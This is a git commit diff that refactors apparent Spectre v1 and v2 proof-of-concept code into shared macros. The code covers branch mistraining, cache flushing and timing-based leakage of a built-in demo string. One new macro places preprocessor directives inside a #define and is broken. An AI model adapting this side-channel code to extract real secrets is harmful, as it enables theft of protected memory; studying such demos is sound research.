Factorize OCTOPUS_ARGS, OCTOPUS_TIMINGS and OCTOPUS_NOCLFLUSH_INIT in macros defined in octopus.h
This commit is contained in:
parent
7134b712ed
commit
a8612b146a
59
octopus.h
59
octopus.h
@ -71,6 +71,65 @@
|
||||
}
|
||||
#endif //NOCLFLUSH
|
||||
|
||||
#define GAP 512
|
||||
|
||||
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
|
||||
unsigned int cache_hit_threshold, array1_size = 16;
|
||||
uint8_t unused1[64], unused2[64], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
|
||||
uint8_t channel[256 * GAP]; // side channel to extract secret phrase
|
||||
|
||||
#define __OCTOPUS_ARGS__\
|
||||
while ((o = getopt(argc, argv, "t:j")) != EOF) {\
|
||||
switch (o) {\
|
||||
case 't':\
|
||||
cache_hit_threshold = atoi(optarg);\
|
||||
break;\
|
||||
case 'j':\
|
||||
json++;\
|
||||
break;\
|
||||
default:\
|
||||
usage:\
|
||||
fprintf(stderr, "usage: %s [-j] "\
|
||||
"[-t threshold]\n"\
|
||||
"\t-j\t\tJSON output\n"\
|
||||
"\t-t INT\t\tfixed threshold\n", argv[0]);\
|
||||
return 1;\
|
||||
}\
|
||||
}\
|
||||
if (argc != optind) {\
|
||||
goto usage;\
|
||||
}
|
||||
|
||||
#define __OCTOPUS_TIMINGS__\
|
||||
/* Time reads. Order is lightly mixed up to prevent stride prediction */\
|
||||
for (i = 0; i < 256; i++) {\
|
||||
mix_i = ((i * 167) + 13) & 255;\
|
||||
addr = & channel[mix_i * GAP];\
|
||||
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {\
|
||||
results[mix_i]++; /* cache hit - add +1 to score for this value */\
|
||||
}\
|
||||
}\
|
||||
/* Locate highest results in j */\
|
||||
j = -1;\
|
||||
for (i = 0; i < 256; i++) {\
|
||||
if (j < 0 || results[i] >= results[j]) {\
|
||||
j = i;\
|
||||
}\
|
||||
}\
|
||||
if (results[j] >= 3) {\
|
||||
break;\
|
||||
}
|
||||
|
||||
#define __OCTOPUS_NOCLFLUSH_INIT__\
|
||||
int junk2 = 0;\
|
||||
int l;\
|
||||
(void)junk2;
|
||||
|
||||
#define __OCTOPUS_MFENCE__\
|
||||
#ifndef NOMFENCE\
|
||||
_mm_mfence();\
|
||||
#endif
|
||||
|
||||
static inline unsigned
|
||||
timed_access(volatile uint8_t *addr)
|
||||
{
|
||||
|
64
spectre_v1.c
64
spectre_v1.c
@ -21,9 +21,6 @@
|
||||
|
||||
#include "octopus.h"
|
||||
|
||||
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
|
||||
unsigned int cache_hit_threshold, array1_size = 16;
|
||||
uint8_t unused1[64], unused2[64], array2[256 * 512], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
|
||||
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
|
||||
|
||||
void
|
||||
@ -44,7 +41,7 @@ victim_function(size_t x)
|
||||
x &= array_index_mask_nospec(x, array1_size);
|
||||
#endif
|
||||
|
||||
temp &= array2[array1[x] * 512];
|
||||
temp &= channel[array1[x] * GAP];
|
||||
}
|
||||
}
|
||||
|
||||
@ -57,24 +54,24 @@ leak(size_t malicious_x, uint8_t value[2], int score[2], unsigned cache_hit_thre
|
||||
volatile uint8_t* addr;
|
||||
|
||||
#ifdef NOCLFLUSH
|
||||
int junk2 = 0;
|
||||
int l;
|
||||
(void)junk2;
|
||||
__OCTOPUS_NOCLFLUSH_INIT__
|
||||
#endif
|
||||
|
||||
for (i = 0; i < 256; i++) {
|
||||
results[i] = 0;
|
||||
}
|
||||
for (tries = 999; tries > 0; tries--) {
|
||||
#ifndef NOCLFLUSH
|
||||
/* Flush array2[256*(0..255)] from cache */
|
||||
for (i = 0; i < 256; i++)
|
||||
_mm_clflush(&array2[i * 512]);
|
||||
/* Flush channel[256*(0..255)] from cache */
|
||||
for (i = 0; i < 256; i++) {
|
||||
_mm_clflush(&channel[i * GAP]);
|
||||
}
|
||||
#else
|
||||
/* Flush array2[256*(0..255)] from cache
|
||||
/* Flush channel[256*(0..255)] from cache
|
||||
using long SSE instruction several times */
|
||||
for (j = 0; j < 16; j++) {
|
||||
for (i = 0; i < 256; i++) {
|
||||
flush_memory_sse(&array2[i * 512]);
|
||||
flush_memory_sse(&channel[i * GAP]);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
@ -101,22 +98,8 @@ leak(size_t malicious_x, uint8_t value[2], int score[2], unsigned cache_hit_thre
|
||||
victim_function(x);
|
||||
}
|
||||
|
||||
/* Time reads. Order is lightly mixed up to prevent stride prediction */
|
||||
for (i = 0; i < 256; i++) {
|
||||
mix_i = ((i * 167) + 13) & 255;
|
||||
addr = & array2[mix_i * 512];
|
||||
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size])
|
||||
results[mix_i]++; /* cache hit - add +1 to score for this value */
|
||||
}
|
||||
/* Locate highest results in j */
|
||||
j = -1;
|
||||
for (i = 0; i < 256; i++) {
|
||||
if (j < 0 || results[i] >= results[j]) {
|
||||
j = i;
|
||||
}
|
||||
}
|
||||
if (results[j] >= 3)
|
||||
break;
|
||||
__OCTOPUS_TIMINGS__
|
||||
|
||||
}
|
||||
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
|
||||
value[0] = (uint8_t) j;
|
||||
@ -130,26 +113,7 @@ main(int argc, char** argv)
|
||||
int i, o, score[2], len = (int)strlen(secret), json = 0, successes = 0;
|
||||
uint8_t value[2];
|
||||
|
||||
while ((o = getopt(argc, argv, "t:j")) != EOF) {
|
||||
switch (o) {
|
||||
case 't':
|
||||
cache_hit_threshold = atoi(optarg);
|
||||
break;
|
||||
case 'j':
|
||||
json++;
|
||||
break;
|
||||
default:
|
||||
usage:
|
||||
fprintf(stderr, "usage: %s [-j] "
|
||||
"[-t threshold]\n"
|
||||
"\t-j\t\tJSON output\n"
|
||||
"\t-t INT\t\tfixed threshold\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
if (argc != optind) {
|
||||
goto usage;
|
||||
}
|
||||
__OCTOPUS_ARGS__
|
||||
|
||||
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret));
|
||||
calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
|
||||
@ -158,8 +122,8 @@ main(int argc, char** argv)
|
||||
cache_flush_array[i] = 1;
|
||||
}
|
||||
#endif
|
||||
for (i = 0; i < (int)sizeof(array2); i++) {
|
||||
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
|
||||
for (i = 0; i < (int)sizeof(channel); i++) {
|
||||
channel[i] = 1; /* write to channel so in RAM not copy-on-write zero pages */
|
||||
}
|
||||
while (--len >= 0) {
|
||||
leak(malicious_x++, value, score, cache_hit_threshold);
|
||||
|
56
spectre_v2.c
56
spectre_v2.c
@ -20,14 +20,7 @@
|
||||
|
||||
#include "octopus.h"
|
||||
|
||||
#define GAP 1024
|
||||
|
||||
char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion.";
|
||||
uint64_t* target; // pointer to indirect call target
|
||||
unsigned int cache_hit_threshold, array1_size = 16;
|
||||
uint8_t unused1[64], unused2[64], array2[256 * 512], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
|
||||
//uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
|
||||
uint8_t channel[256 * GAP]; // side channel to extract secret phrase
|
||||
|
||||
// mistrained target of indirect call
|
||||
int
|
||||
@ -77,10 +70,9 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres
|
||||
unsigned int junk = 0;
|
||||
volatile uint8_t* addr;
|
||||
char dummy = '@';
|
||||
|
||||
#ifdef NOCLFLUSH
|
||||
int junk2 = 0;
|
||||
int l;
|
||||
(void)junk2;
|
||||
__OCTOPUS_NOCLFLUSH_INIT__
|
||||
#endif
|
||||
for (i = 0; i < 256; i++) {
|
||||
results[i] = 0;
|
||||
@ -90,7 +82,7 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres
|
||||
// Malicious target
|
||||
*target = (uint64_t)&gadget;
|
||||
#ifndef NOMFENCE
|
||||
_mm_mfence();
|
||||
_mm_mfence();
|
||||
#endif
|
||||
for (j = 50; j > 0; j--) {
|
||||
junk ^= victim_function(&dummy, 0);
|
||||
@ -138,24 +130,9 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres
|
||||
#endif
|
||||
// now, the value of *addr_to_read should be cached even though
|
||||
// the logical execution path never calls gadget()
|
||||
/* Time reads. Order is lightly mixed up to prevent stride prediction */
|
||||
for (i = 0; i < 256; i++) {
|
||||
mix_i = ((i * 167) + 13) & 255;
|
||||
addr = & channel[mix_i * GAP];
|
||||
if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {
|
||||
results[mix_i]++; /* cache hit - add +1 to score for this value */
|
||||
}
|
||||
}
|
||||
/* Locate highest results in j */
|
||||
j = -1;
|
||||
for (i = 0; i < 256; i++) {
|
||||
if (j < 0 || results[i] >= results[j]) {
|
||||
j = i;
|
||||
}
|
||||
}
|
||||
if (results[j] >= 3) {
|
||||
break;
|
||||
}
|
||||
|
||||
__OCTOPUS_TIMINGS__
|
||||
|
||||
}
|
||||
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
|
||||
value[0] = (uint8_t) j;
|
||||
@ -169,26 +146,7 @@ main(int argc, char** argv)
|
||||
uint8_t value[2];
|
||||
char* secret_addr = secret;
|
||||
|
||||
while ((o = getopt(argc, argv, "t:j")) != EOF) {
|
||||
switch (o) {
|
||||
case 't':
|
||||
cache_hit_threshold = atoi(optarg);
|
||||
break;
|
||||
case 'j':
|
||||
json++;
|
||||
break;
|
||||
default:
|
||||
usage:
|
||||
fprintf(stderr, "usage: %s [-j] "
|
||||
"[-t threshold]\n"
|
||||
"\t-j\t\tJSON output\n"
|
||||
"\t-t INT\t\tfixed threshold\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
if (argc != optind) {
|
||||
goto usage;
|
||||
}
|
||||
__OCTOPUS_ARGS__
|
||||
|
||||
target = (uint64_t*)malloc(sizeof(uint64_t));
|
||||
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len);
|
||||
|
Loading…
Reference in New Issue
Block a user